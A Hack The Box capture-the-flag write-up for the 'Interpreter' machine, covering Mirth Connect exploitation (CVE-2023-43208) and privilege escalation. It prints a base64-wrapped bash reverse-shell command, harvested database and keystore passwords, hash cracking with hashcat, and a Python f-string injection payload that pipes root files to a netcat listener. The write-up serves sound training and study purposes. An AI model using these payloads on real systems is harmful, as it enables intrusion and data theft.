Hackthebox: Interpreter

Foued SAIDI Lv5

Overview

Interpreter is a medium-difficulty Linux machine from Hack The Box that revolves around a Mirth Connect healthcare integration server. We start by identifying a Mirth Connect Administrator instance vulnerable to CVE-2023-43208, an unauthenticated XStream deserialization RCE, which lands us a reverse shell as the mirth service user. From there we harvest the mirth.properties configuration file, recover the Digester-encoded administrator hash, reformat it into a sha256:600000 PBKDF2 hash and crack it with hashcat to obtain credentials that we reuse over SSH for the user flag. Finally, we abuse an internal /addPatient route that builds XML through a Python f-string, leading to a format-string injection (CVE-2023-37679) that runs code as root and exfiltrates both flags.

Interpreter-info-card
Interpreter-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PORT    STATE SERVICE  VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan shows SSH on port 22 and a Jetty web server on ports 80 and 443, both titled Mirth Connect Administrator. Browsing to the web interface confirms it:

http://10.129.6.26/webadmin/Index.action

Foothold - CVE-2023-43208

We’re dealing with Mirth Connect, NextGen Healthcare’s open-source integration engine. Version 4.4.0 (which we’ll confirm later from the config) is vulnerable to CVE-2023-43208, an unauthenticated XStream deserialization that leads to remote code execution. This is effectively a bypass of the earlier CVE-2023-37679 fix.

A bit of reading to confirm the vulnerability and find a working PoC:

https://medium.com/@rahulravi.hulli/enumerating-the-rce-vulnerability-on-mirth-connect-4-4-0-24424258a3b5

https://nvd.nist.gov/vuln/detail/cve-2023-43208

https://www.vicarius.io/vsociety/posts/rce-in-mirth-connect-pt-i-cve-2023-37679

https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc

We grab the PoC and fire it at the target with a base64-encoded bash reverse shell payload, wrapped in the classic {echo,...}|{base64,-d}|{bash,-i} trick to avoid issues with special characters:

1
2
3
4
$ python3 CVE-2023-43208.py -u https://10.129.6.26  -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xOTIvOTAwMSAwPiYxCg==}|{base64,-d}|{bash,-i}"

The target appears to have executed the payload.

And our listener catches the shell as the mirth user:

1
2
3
4
5
6
7
8
9
10
$ rlwrap nc -lvnp 9001  
listening on [any] 9001 ...
connect to [10.10.16.192] from (UNKNOWN) [10.129.6.26] 44000
bash: cannot set terminal process group (3570): Inappropriate ioctl for device
bash: no job control in this shell
mirth@interpreter:/usr/local/mirthconnect$ id
id
uid=103(mirth) gid=111(mirth) groups=111(mirth)
mirth@interpreter:/usr/local/mirthconnect$

Harvesting the Mirth configuration

Mirth Connect keeps its server configuration under the conf/ directory. The mirth.properties file typically holds database credentials and keystore passwords, so that’s the first place we look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
mirth@interpreter:/usr/local/mirthconnect/conf$ ls
ls
dbdrivers.xml
log4j2.properties
mirth.properties
mirth@interpreter:/usr/local/mirthconnect/conf$ cat mirth.properties
cat mirth.properties
# Mirth Connect configuration file

# directories
dir.appdata = /var/lib/mirthconnect
dir.tempdata = ${dir.appdata}/temp

# ports
http.port = 80
https.port = 443

# password requirements
password.minlength = 0
password.minupper = 0
password.minlower = 0
password.minnumeric = 0
password.minspecial = 0
password.retrylimit = 0
password.lockoutperiod = 0
password.expiration = 0
password.graceperiod = 0
password.reuseperiod = 0
password.reuselimit = 0

# Only used for migration purposes, do not modify
version = 4.4.0

# keystore
keystore.path = ${dir.appdata}/keystore.jks
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS

# server
http.contextpath = /
server.url =

http.host = 0.0.0.0
https.host = 0.0.0.0

https.client.protocols = TLSv1.3,TLSv1.2
https.server.protocols = TLSv1.3,TLSv1.2,SSLv2Hello
https.ciphersuites = TLS_CHACHA20_POLY1305_SHA256,TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256,TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256,TLS_AES_256_GCM_SHA384,TLS_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384,TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384,TLS_DHE_RSA_WITH_AES_256_GCM_SHA384,TLS_DHE_DSS_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256,TLS_DHE_RSA_WITH_AES_128_GCM_SHA256,TLS_DHE_DSS_WITH_AES_128_GCM_SHA256,TLS_EMPTY_RENEGOTIATION_INFO_SCSV
https.ephemeraldhkeysize = 2048

# If set to true, the Connect REST API will require all incoming requests to contain an "X-Requested-With" header.
# This protects against Cross-Site Request Forgery (CSRF) security vulnerabilities.
server.api.require-requested-with = true

# CORS headers
server.api.accesscontrolalloworigin = *
server.api.accesscontrolallowcredentials = false
server.api.accesscontrolallowmethods = GET, POST, DELETE, PUT
server.api.accesscontrolallowheaders = Content-Type
server.api.accesscontrolexposeheaders =
server.api.accesscontrolmaxage =

# Determines whether or not channels are deployed on server startup.
server.startupdeploy = true

# Determines whether libraries in the custom-lib directory will be included on the server classpath.
# To reduce potential classpath conflicts you should create Resources and use them on specific channels/connectors instead, and then set this value to false.
server.includecustomlib = true

# administrator
administrator.maxheapsize = 512m

# properties file that will store the configuration map and be loaded during server startup
configurationmap.path = ${dir.appdata}/configuration.properties

# The language version for the Rhino JavaScript engine (supported values: 1.0, 1.1, ..., 1.8, es6).
rhino.languageversion = es6

# options: derby, mysql, postgres, oracle, sqlserver
database = mysql

# examples:
# Derby jdbc:derby:${dir.appdata}/mirthdb;create=true
# PostgreSQL jdbc:postgresql://localhost:5432/mirthdb
# MySQL jdbc:mysql://localhost:3306/mirthdb
# Oracle jdbc:oracle:thin:@localhost:1521:DB
# SQL Server/Sybase (jTDS) jdbc:jtds:sqlserver://localhost:1433/mirthdb
# Microsoft SQL Server jdbc:sqlserver://localhost:1433;databaseName=mirthdb
# If you are using the Microsoft SQL Server driver, please also specify database.driver below
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

# If using a custom or non-default driver, specify it here.
# example:
# Microsoft SQL server: database.driver = com.microsoft.sqlserver.jdbc.SQLServerDriver
# (Note: the jTDS driver is used by default for sqlserver)
database.driver = org.mariadb.jdbc.Driver

# Maximum number of connections allowed for the main read/write connection pool
database.max-connections = 20
# Maximum number of connections allowed for the read-only connection pool
database-readonly.max-connections = 20

# database credentials
database.username = mirthdb
database.password = MirthPass123!

#On startup, Maximum number of retries to establish database connections in case of failure
database.connection.maxretry = 2

#On startup, Maximum wait time in milliseconds for retry to establish database connections in case of failure
database.connection.retrywaitinmilliseconds = 10000

# If true, various read-only statements are separated into their own connection pool.
# By default the read-only pool will use the same connection information as the master pool,
# but you can change this with the "database-readonly" options. For example, to point the
# read-only pool to a different JDBC URL:
#
# database-readonly.url = jdbc:...
#
database.enable-read-write-split = true
mirth@interpreter:/usr/local/mirthconnect/conf$

The interesting bits are the keystore passwords and, more importantly, the database credentials:

1
2
database.username = mirthdb
database.password = MirthPass123!

With those creds we can connect to the MariaDB instance (mc_bdd_prod) and dump the PERSON table, where Mirth stores administrator accounts and their password hashes. Mirth hashes passwords with its own Digester class, which by default produces a base64 blob containing the salt and the PBKDF2-HMAC-SHA256 digest:

https://github.com/nextgenhealthcare/connect/blob/development/core-util/src/com/mirth/commons/encryption/Digester.java

Looking at the Digester implementation, the first 8 bytes of the decoded blob are the salt and the rest is the hash, with 600000 iterations. We reformat the stored blob into the sha256:600000:<salt>:<hash> format hashcat understands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mirth@interpreter:/usr/local/mirthconnect/conf$ python3 -c "
import base64
data = base64.b64decode('u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==')
salt = base64.b64encode(data[:8]).decode()
hash_ = base64.b64encode(data[8:]).decode()
print(f'sha256:600000:{salt}:{hash_}')
"
python3 -c "
> import base64
<UnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==')
> salt = base64.b64encode(data[:8]).decode()
> hash_ = base64.b64encode(data[8:]).decode()
> print(f'sha256:600000:{salt}:{hash_}')
> "
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
mirth@interpreter:/usr/local/mirthconnect/conf$

Cracking the Digester hash

That format maps to hashcat mode 10900 (PBKDF2-HMAC-SHA256). We throw rockyou.txt at it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-12th Gen Intel(R) Core(TM) i5-1235U, 2154/4372 MB (1024 MB allocatable), 3MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 4 secs

Cracking performance lower than expected?

* Append -w 3 to the commandline.
This can cause your screen to lag.

* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1

The hash cracks to snowflake1. Given the user sedric on the box, password reuse is a fair bet, so we try it over SSH:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ssh [email protected]                       
The authenticity of host 'interpreter.htb (10.129.6.26)' can't be established.
ED25519 key fingerprint is SHA256:Oz7Fk6YvrB8/5uSyuoY+mqLefkwpPaepkXAppxIX0xk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'interpreter.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 27 03:04:27 2026 from 10.10.16.192
sedric@interpreter:~$ cat user.txt
e430782e2e541c43cf882ec0ba44d1d0
sedric@interpreter:~$

sedric:snowflake1 works and we grab the user flag.

Privilege Escalation - CVE-2023-37679

Enumerating as sedric reveals an internal service listening on 127.0.0.1:54321. Looking at the local notif.py application backing it, there’s a /addPatient route that takes an XML body and renders it through a Python f-string template stored in the database. Because the patient fields are interpolated directly into an f-string, we have a format-string / template injection (the same root cause class as CVE-2023-37679) that lets us evaluate arbitrary Python expressions as root.

yeah, that is what i am wondering too, how did you guys find out about the vuln/endpoint without reading the notif.py?
there is a template in the database for xml data for /addPatient route

We craft an XML payload whose firstname field breaks out of the f-string and calls __import__('os').popen(...). To keep the command clean, we base64-encode a one-liner that cats both flags and pipes them back to our netcat listener:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sedric@interpreter:~$ python3 -c "
import urllib.request, base64

# Simple command to cat both files and send to netcat
cmd = \"cat /home/sedric/user.txt /root/root.txt | nc 10.10.16.192 9002\"

# Base64 encode the command
b64_cmd = base64.b64encode(cmd.encode()).decode()

# XML payload
xml = f'''<patient>
<timestamp>20250101120000</timestamp>
<sender_app>TEST</sender_app>
<id>12345</id>
<firstname>{{__import__(\"os\").popen(__import__(\"base64\").b64decode(\"{b64_cmd}\").decode()).read()}}</firstname>
<lastname>Doe</lastname>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>'''

req = urllib.request.Request('http://127.0.0.1:54321/addPatient',
data=xml.encode('utf-8'),
headers={'Content-Type': 'application/xml'})
resp = urllib.request.urlopen(req)
print(resp.read().decode())

On the attacker side our listener receives both flags, confirming the injected command ran as root:

1
2
3
4
5
6
$ nc -lvnp 9002    
listening on [any] 9002 ...
connect to [10.10.16.192] from (UNKNOWN) [10.129.6.26] 43158
e430782e2e541c43cf882ec0ba44d1d0
b766dad0c0b8d3e34a9edc874cf95590

And that’s a wrap on Interpreter.

Hope you liked this writeup!
-0xkujen

  • Title: Hackthebox: Interpreter
  • Author: Foued SAIDI
  • Created at : 2026-06-02 13:33:43
  • Updated at : 2026-06-03 10:55:31
  • Link: https://kujen5.github.io/2026/06/02/Hackthebox-Interpreter/
  • License: This work is licensed under CC BY-NC-SA 4.0.